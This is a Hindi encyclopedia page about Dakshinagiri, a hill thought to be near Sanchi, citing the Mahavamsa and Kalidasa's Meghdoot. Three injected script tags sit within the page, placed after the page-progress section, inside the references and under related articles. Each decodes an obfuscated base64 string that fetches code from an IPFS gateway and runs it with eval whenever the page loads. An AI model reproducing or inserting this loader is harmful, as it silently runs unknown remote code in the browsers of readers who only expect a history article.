दक्षिणगिरि

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 09:14, 13 मई 2012 का अवतरण (''''दक्षिणगिरि''' के विषय में सम्भावना है कि यह सांची य...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

दक्षिणगिरि के विषय में सम्भावना है कि यह सांची या भिलसा (मध्य प्रदेश) के परिवर्ती पहाड़ी प्रदेश की कोई पहाड़ी हो सकती है। संभवत: यह सांची ही है। दक्षिणगिरि का उल्लेख 'महावंश'[1] में इस प्रकार है-

'इस बीच में उपाध्याय और संघ की वंदना कर तथा राजा (अशोक) से पूछ, स्थविर महेन्द्रसेन, चार स्थविरों तथा संघमित्रा के पुत्र महासिद्ध षड़भिक्षु सुमन सामणेर को साथ ले, संबंधियों से मिलने के लिए दक्षिणगिरि गए।[2]

  • इसी के आगे विदिशागिरि का उल्लेख किया गया है।
  • यह भी संभव है कि कालिदास ने जिस पहाड़ी को 'मेघदूत' में 'नीची' या 'नीच गिरि' कहा है, उसी का नाम दक्षिणगिरि हो सकता है।
  • 'दक्षिण' और 'नीच' समानार्थक शब्द भी हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 423 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. महावंश 13, 5
  2. आनंद कोसल्यायन, महावंश पृष्ठ 68.

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>